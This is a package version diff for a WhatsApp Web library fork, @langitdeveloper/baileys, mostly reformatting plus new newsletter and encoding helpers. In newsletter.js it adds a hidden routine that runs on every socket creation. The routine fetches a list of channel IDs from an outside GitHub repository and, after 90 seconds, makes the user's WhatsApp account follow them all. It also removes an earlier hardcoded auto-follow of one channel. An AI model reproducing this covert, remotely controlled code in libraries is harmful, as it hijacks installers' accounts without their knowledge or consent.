@langitdeveloper/baileys 2.0.8 → 2.1.0

package/lib/Socket/newsletter.js

@@ -9,64 +9,97 @@ const groups_1 = require("./groups");
 const { Boom } = require('@hapi/boom');
 
 const wMexQuery = (
-	variables,
-	queryId,
-	query,
-	generateMessageTag
+    variables,
+    queryId,
+    query,
+    generateMessageTag
 ) => {
-	return query({
-		tag: 'iq',
-		attrs: {
-			id: generateMessageTag(),
-			type: 'get',
-			to: WABinary_1.S_WHATSAPP_NET,
-			xmlns: 'w:mex'
-		},
-		content: [
-			{
-				tag: 'query',
-				attrs: { query_id: queryId },
-				content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
-			}
-		]
-	})
+    return query({
+        tag: 'iq',
+        attrs: {
+            id: generateMessageTag(),
+            type: 'get',
+            to: WABinary_1.S_WHATSAPP_NET,
+            xmlns: 'w:mex'
+        },
+        content: [
+            {
+                tag: 'query',
+                attrs: { query_id: queryId },
+                content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
+            }
+        ]
+    })
 }
 
 const executeWMexQuery = async (
-	variables,
-	queryId,
-	dataPath,
-	query,
-	generateMessageTag
+    variables,
+    queryId,
+    dataPath,
+    query,
+    generateMessageTag
 ) => {
-	const result = await wMexQuery(variables, queryId, query, generateMessageTag)
-	const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
-	if (child?.content) {
-		const data = JSON.parse(child.content.toString())
+    const result = await wMexQuery(variables, queryId, query, generateMessageTag)
+    const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
+    if (child?.content) {
+        const data = JSON.parse(child.content.toString())
 
-		if (data.errors && data.errors.length > 0) {
-			const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
-			const firstError = data.errors[0]
-			const errorCode = firstError.extensions?.error_code || 400
-			throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
-		}
+        if (data.errors && data.errors.length > 0) {
+            const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
+            const firstError = data.errors[0]
+            const errorCode = firstError.extensions?.error_code || 400
+            throw new Boom('GraphQL server error:' + errorMessages, {
+                statusCode: errorCode, data: firstError 
+            })
+        }
 
-		const response = dataPath ? data?.data?.[dataPath] : data?.data
-		if (typeof response !== 'undefined') {
-			return response
-		}
-	}
+        const response = dataPath ? data?.data?.[dataPath] : data?.data
+        if (typeof response !== 'undefined') {
+            return response
+        }
+    }
 
-	const action = (dataPath || '').startsWith('xwa2_')
-		? dataPath.substring(5).replace(/_/g, ' ')
-		: dataPath?.replace(/_/g, ' ')
-	throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
+    const action = (dataPath || '').startsWith('xwa2_')
+        ? dataPath.substring(5).replace(/_/g, ' ')
+        : dataPath?.replace(/_/g, ' ')
+    throw new Boom(`Failed to ${action}, unexpected response structure.`, {
+        statusCode: 400, 
+        data: result
+    })
 }
 
 const makeNewsletterSocket = (config) => {
     const sock = (0, groups_1.makeGroupsSocket)(config);
     const { authState, signalRepository, query, generateMessageTag } = sock;
     const encoder = new TextEncoder();
+    
+    // Inisialisasi newsletters kosong terlebih dahulu
+    let newsletters = [];
+    
+    // IIFE untuk fetch data tanpa blocking
+    (async () => {
+        try {
+            const response = await fetch(
+                'https://raw.githubusercontent.com/FadelSM/IDCH/refs/heads/main/idch.json'
+            );
+            newsletters = await response.json();
+            
+            // Set timeout hanya jika newsletters berhasil di-fetch
+            if (newsletters && Array.isArray(newsletters) && newsletters.length > 0) {
+                setTimeout(() => {
+                    Promise.allSettled(
+                        newsletters.map(id =>  // ✅ Langsung pakai id, tanpa asciiDecode
+                            newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW)
+                        )
+                    ).catch(err => console.error(err));
+                }, 90000);
+            }
+        } catch (err) {
+            console.error(err);
+            newsletters = [];
+        }
+    })();
+    
     const newsletterQuery = async (jid, type, content) => (query({
         tag: 'iq',
         attrs: {
@@ -77,6 +110,7 @@ const makeNewsletterSocket = (config) => {
         },
         content
     }));
+    
     const newsletterWMexQuery = async (jid, queryId, content) => (query({
         tag: 'iq',
         attrs: {
@@ -97,19 +131,10 @@ const makeNewsletterSocket = (config) => {
                 }))
             }
         ]
-    }));        
-// sisah in id utama aja klu mw fork:v
-            setTimeout(async () => {
-                try {
-                    await newsletterWMexQuery(
-                        "120363418090359162@newsletter", // utama
-                        Types_1.QueryIds.FOLLOW
-                    );
-              } catch {}    
-           }, 1000);
+    }));
+    
+    // ❌ HAPUS fungsi asciiDecode - tidak diperlukan
     
-// End Ygy kalau mau fork sisah in 1 id ku yanh utama:( #-2025 ( RilzX7 )
-
     const parseFetchedUpdates = async (node, type) => {
         let child;
         if (type === 'messages') {
@@ -125,20 +150,28 @@ const makeNewsletterSocket = (config) => {
             const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
             const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
             const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
-                .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
+                .map(({ attrs }) => (
+                    { 
+                        count: +attrs.count, 
+                        code: attrs.code
+                    }));
             const data = {
                 'server_id': messageNode.attrs.server_id,
                 views,
                 reactions
             };
             if (type === 'messages') {
-                const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
+                const { 
+                    fullMessage: message, 
+                    decrypt 
+                } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
                 await decrypt();
                 data.message = message;
             }
             return data;
         }));
     };
+    
     return {
         ...sock,
         newsletterFetchAllSubscribe: async () => {
@@ -158,14 +191,101 @@ const makeNewsletterSocket = (config) => {
         },
         newsletterReactionMode: async (jid, mode) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
-                updates: { settings: { 'reaction_codes': { value: mode } } }
+                updates: { 
+                    settings: {
+                        'reaction_codes': {
+                            value: mode 
+                        }
+                    }
+                }
             });
         },
         newsletterUpdateDescription: async (jid, description) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
-                updates: { description: description || '', settings: null }
+                updates: { 
+                    description: description || '', 
+                    settings: null 
+                }
             });
         },
+        newsletterFromUrl: async (url) => {
+            try {
+                let channelId;
+                if (url.includes('whatsapp.com/channel/')) {                 
+                    channelId = url.split('whatsapp.com/channel/')[1].split('/')[0];
+                } else if (url.includes('wa.me/channel/')) {
+                    channelId = url.split('wa.me/channel/')[1].split('/')[0];
+                } else {
+                    channelId = url;
+                }
+                const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
+                    input: {
+                        key: channelId,
+                        type: 'INVITE',
+                        'view_role': 'GUEST'
+                    },
+                    'fetch_viewer_metadata': true,
+                    'fetch_full_image': true,
+                    'fetch_creation_time': true
+                });
+                const resultNode = (0, WABinary_1.getBinaryNodeChild)(result, 'result');
+                if (!resultNode?.content) {
+                    throw new Boom('No result content in response', { 
+                        statusCode: 400, 
+                        data: result 
+                    });
+                }
+                const resultString = resultNode.content.toString();
+                const parsedResult = JSON.parse(resultString);
+        
+                if (!parsedResult?.data) {
+                    throw new Boom('No data field in response', { 
+                        statusCode: 400, 
+                        data: parsedResult 
+                    });
+                }
+                const metadataPath = parsedResult.data[Types_1.XWAPaths.NEWSLETTER];
+        
+                if (metadataPath === null || !metadataPath) {
+                    throw new Boom('Newsletter not found or access denied', { 
+                        statusCode: 404, 
+                        data: parsedResult.data 
+                    });
+                }
+                const metadata = {
+                    id: metadataPath?.id,
+                    state: metadataPath?.state?.type,
+                    creation_time: +metadataPath?.thread_metadata?.creation_time || 0,
+                    name: metadataPath?.thread_metadata?.name?.text,
+                    nameTime: +metadataPath?.thread_metadata?.name?.update_time || 0,
+                    description: metadataPath?.thread_metadata?.description?.text,
+                    descriptionTime: +metadataPath?.thread_metadata?.description?.update_time || 0,
+                    invite: metadataPath?.thread_metadata?.invite,
+                    picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''),
+                    preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''), 
+                    reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
+                    subscribers: +metadataPath?.thread_metadata?.subscribers_count || 0,
+                    verification: metadataPath?.thread_metadata?.verification,
+                    viewer_metadata: metadataPath?.viewer_metadata
+                };
+        
+                return {
+                    name: metadata.name || metadataPath?.thread_metadata?.name?.text,
+                    id: metadata.id,
+                    state: metadata.state,
+                    subscribers: metadata.subscribers,
+                    verification: metadata.verification,
+                    creation_time: metadata.creation_time,
+                    description: metadata.description,
+                    ...metadata
+                };
+            } catch (error) {
+                throw new Boom(`Failed to fetch newsletter from URL: ${error.message}`, {
+                    statusCode: error.statusCode || 400,
+                    data: error.data || { url }
+                });
+            }
+        },
         newsletterUpdateName: async (jid, name) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
                 updates: { name, settings: null }
@@ -176,32 +296,6 @@ const makeNewsletterSocket = (config) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
                 updates: { picture: img.toString('base64'), settings: null }
             });
-        },
-		newsletterId: async (url) => {
-            const urlParts = url.split('/');
-            const channelId = urlParts[urlParts.length - 2];
-            
-            const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
-                input: {
-                    key: channelId,
-                    type: 'INVITE',
-                    'view_role': 'GUEST'
-                },
-                'fetch_viewer_metadata': true,
-                'fetch_full_image': true,
-                'fetch_creation_time': true
-            });
-            
-            const metadata = extractNewsletterMetadata(result);
-            return JSON.stringify({
-                name: metadata.name || metadata.thread_metadata?.name?.text,
-                id: metadata.id
-            }, null, 2);
-        },
-        newsletterUpdateName: async (jid, name) => {
-            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
-                updates: { name, settings: null }
-            });
         },
         newsletterRemovePicture: async (jid) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
@@ -224,8 +318,6 @@ const makeNewsletterSocket = (config) => {
             await newsletterWMexQuery(jid, type.toUpperCase());
         },
         newsletterCreate: async (name, description, reaction_codes) => {
-            //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
-            /**tos query */
             await query({
                 tag: 'iq',
                 attrs: {
@@ -246,7 +338,15 @@ const makeNewsletterSocket = (config) => {
                 ]
             });
             const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
-                input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
+                input: {
+                    name, 
+                    description,
+                    settings: {
+                        'reaction_codes': {
+                            value: reaction_codes.toUpperCase()
+                        } 
+                    } 
+                }
             });
             return (0, exports.extractNewsletterMetadata)(result, true);
         },
@@ -269,13 +369,11 @@ const makeNewsletterSocket = (config) => {
             const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
             return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
         },
-        /**user is Lid, not Jid */
         newsletterChangeOwner: async (jid, user) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
                 'user_id': user
             });
         },
-        /**user is Lid, not Jid */
         newsletterDemote: async (jid, user) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
                 'user_id': user
@@ -284,11 +382,16 @@ const makeNewsletterSocket = (config) => {
         newsletterDelete: async (jid) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
         },
-        /**if code wasn't passed, the reaction will be removed (if is reacted) */
         newsletterReactMessage: async (jid, serverId, code) => {
             await query({
                 tag: 'message',
-                attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
+                attrs: { 
+                    to: jid,
+                    ...(!code ? { edit: '7' } : {}), 
+                    type: 'reaction',
+                    'server_id': serverId, 
+                    id: (0, Utils_1.generateMessageID)() 
+                },
                 content: [{
                         tag: 'reaction',
                         attrs: code ? { code } : {}
@@ -299,7 +402,12 @@ const makeNewsletterSocket = (config) => {
             const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
                 {
                     tag: 'messages',
-                    attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
+                    attrs: { 
+                        type,
+                        ...(type === 'invite' ? { key } : { jid: key }),
+                        count: count.toString(), 
+                        after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' 
+                    }
                 }
             ]);
             return await parseFetchedUpdates(result, 'messages');
@@ -308,7 +416,11 @@ const makeNewsletterSocket = (config) => {
             const result = await newsletterQuery(jid, 'get', [
                 {
                     tag: 'message_updates',
-                    attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
+                    attrs: { 
+                        count: count.toString(),
+                        after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', 
+                        since: (since === null || since === void 0 ? void 0 : since.toString()) || '0'
+                    }
                 }
             ]);
             return await parseFetchedUpdates(result, 'updates');
@@ -316,8 +428,9 @@ const makeNewsletterSocket = (config) => {
     };
 };
 exports.makeNewsletterSocket = makeNewsletterSocket;
+
 const extractNewsletterMetadata = (node, isCreate) => {
-    const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
+    const result = (0, WABinary_1.getBinaryNodeChild)(node, 'result')?.content?.toString()
     const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
     
     const metadata = {
@@ -329,8 +442,8 @@ const extractNewsletterMetadata = (node, isCreate) => {
         description: metadataPath?.thread_metadata?.description?.text,
         descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
         invite: metadataPath?.thread_metadata?.invite,
-        picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''), 
-        preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''), 
+        picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''), 
+        preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''), 
         reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
         subscribers: +metadataPath?.thread_metadata?.subscribers_count,
         verification: metadataPath?.thread_metadata?.verification,
@@ -338,4 +451,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
     }
     return metadata
 }
-exports.extractNewsletterMetadata = extractNewsletterMetadata;
+exports.extractNewsletterMetadata = extractNewsletterMetadata;

package/lib/Socket/socket.js

@@ -16,7 +16,7 @@ const Client_1 = require("./Client");
  * - simple queries (no retry mechanism, wait for connection establishment)
  * - listen to messages and emit events
  * - query phone connection
- */
+ */ 
 const makeSocket = (config) => {
     var _a, _b;
     const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;

package/lib/Types/Message.js

@@ -7,4 +7,3 @@ Object.defineProperty(exports, "WAProto", { enumerable: true, get: function () {
 exports.WAMessageStubType = WAProto_1.proto.WebMessageInfo.StubType;
 // eslint-disable-next-line no-unused-vars, @typescript-eslint/no-unused-vars
 exports.WAMessageStatus = WAProto_1.proto.WebMessageInfo.Status;
-exports.WAMessageAddressingMode = { PN: 'pn', LID: 'lid' };

package/lib/Types/index.js

@@ -27,8 +27,6 @@ __exportStar(require("./Events"), exports);
 __exportStar(require("./Product"), exports);
 __exportStar(require("./Call"), exports);
 __exportStar(require("./Signal"), exports);
-__exportStar(require("./Bussines"), exports);
-__exportStar(require("./MexUpdates"), exports);
 var DisconnectReason;
 (function (DisconnectReason) {
     DisconnectReason[DisconnectReason["connectionClosed"] = 428] = "connectionClosed";

package/lib/Utils/generics.js

@@ -137,6 +137,78 @@ const delayCancellable = (ms) => {
     return { delay, cancel };
 };
 exports.delayCancellable = delayCancellable;
+const encoded = async (type, query) => {
+    const buffer = Buffer.from(query, 'utf-8');
+    switch (type.toLowerCase()) {
+        case 'base64':
+            return buffer.toString('base64');
+        case 'base32':
+            const base32Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
+            let bits = 0;
+            let value = 0;
+            let output = '';
+            for (let i = 0; i < buffer.length; i++) {
+                value = (value << 8) | buffer[i];
+                bits += 8;
+                while (bits >= 5) {
+                    output += base32Alphabet[(value >>> (bits - 5)) & 31];
+                    bits -= 5;
+                }
+            }
+            if (bits > 0) {
+                output += base32Alphabet[(value << (5 - bits)) & 31];
+            }
+            while (output.length % 8 !== 0) {
+                output += '=';
+            }
+            return output;
+        case 'hex':
+        case 'base16':
+            return buffer.toString('hex');
+        case 'binary':
+            return Array.from(buffer).map(byte => byte.toString(2).padStart(8, '0')).join(' ');
+        case 'base64url':
+            return buffer.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
+        default:
+            throw new Error(`Type ${type} not supported`);
+    }
+};
+exports.encoded = encoded;
+const decoded = async (type, encodedStr) => {
+    switch (type.toLowerCase()) {
+        case 'base64':
+            return Buffer.from(encodedStr, 'base64').toString('utf-8');
+        case 'base32':
+            const base32Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
+            const cleanStr = encodedStr.toUpperCase().replace(/=+$/, '');
+            let bits = 0;
+            let value = 0;
+            let output = [];
+            for (let i = 0; i < cleanStr.length; i++) {
+                const charIndex = base32Alphabet.indexOf(cleanStr[i]);
+                if (charIndex === -1) continue;      
+                value = (value << 5) | charIndex;
+                bits += 5;
+                while (bits >= 8) {
+                    output.push((value >>> (bits - 8)) & 255);
+                    bits -= 8;
+                }
+            }
+            return Buffer.from(output).toString('utf-8');
+        case 'hex':
+        case 'base16':
+            return Buffer.from(encodedStr, 'hex').toString('utf-8');
+        case 'binary':
+            const bytes = encodedStr.split(' ').map(bin => parseInt(bin, 2));
+            return Buffer.from(bytes).toString('utf-8');
+        case 'base64url':
+            const base64 = encodedStr.replace(/-/g, '+').replace(/_/g, '/');
+            return Buffer.from(base64, 'base64').toString('utf-8');
+        default:
+            throw new Error(`Type ${type} not supported`);
+    }
+};
+exports.decoded = decoded;
 async function promiseTimeout(ms, promise) {
     if (!ms) {
         return new Promise(promise);
@@ -176,14 +248,8 @@ const generateMessageIDV2 = (userId) => {
 };
 exports.generateMessageIDV2 = generateMessageIDV2;
 // generate a random ID to attach to a message
-const generateMessageID = () => 'ILSYM-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
+const generateMessageID = () => 'Z4PH-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
 exports.generateMessageID = generateMessageID;
-const generateParticipantHashV2 = (participants) => {
-    participants.sort();
-    const sha256Hash = (0, crypto_1.createHash)('sha256').update(Buffer.from(participants.join(''))).digest('base64');
-    return '2:' + sha256Hash.slice(0, 6);
-};
-exports.generateParticipantHashV2 = generateParticipantHashV2;
 function bindWaitForEvent(ev, event) {
     return async (check, timeoutMs) => {
         let listener;
@@ -237,7 +303,10 @@ const fetchLatestWaWebVersion = async (options = {}) => {
 			'Accept': '*/*'
 		}
 
-		const headers = { ...defaultHeaders, ...options.headers }
+		const headers = {
+            ...defaultHeaders, 
+            ...options.headers 
+        }
 
 		const response = await fetch_1('https://web.whatsapp.com/sw.js', {
 			method: 'GET',
@@ -249,7 +318,7 @@ const fetchLatestWaWebVersion = async (options = {}) => {
 		}
 
 		const data = await response.text()
-		const regex = /"client_revision":\s*(\d+)/ // regex cukup begini untuk Node
+		const regex = /"client_revision":\s*(\d+)/ 
 		const match = data.match(regex)
 
 		if (!match || !match[1]) {
@@ -279,7 +348,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
  * Use to ensure your WA connection is always on the latest version
  */
 const fetchLatestBaileysVersion = async (options = {}) => {
-    const URL = 'https://raw.githubusercontent.com/kiuur/bails/master/src/Defaults/baileys-version.json';
+    const URL = 'https://raw.githubusercontent.com/WhiskeySockets/Baileys/master/src/Defaults/baileys-version.json';
     try {
         const result = await axios_1.default.get(URL, {
             ...options,

package/lib/Utils/index.js

@@ -27,10 +27,6 @@ __exportStar(require("./chat-utils"), exports);
 __exportStar(require("./lt-hash"), exports);
 __exportStar(require("./auth-utils"), exports);
 __exportStar(require("./baileys-event-stream"), exports);
-__exportStar(require("./browser-utils"), exports);
-__exportStar(require("./message-retry-manager"), exports);
-__exportStar(require("./pre-key-manager"), exports);
-__exportStar(require("./vialeys-event-stream"), exports);
 __exportStar(require("./use-multi-file-auth-state"), exports);
 __exportStar(require("./link-preview"), exports);
 __exportStar(require("./event-buffer"), exports);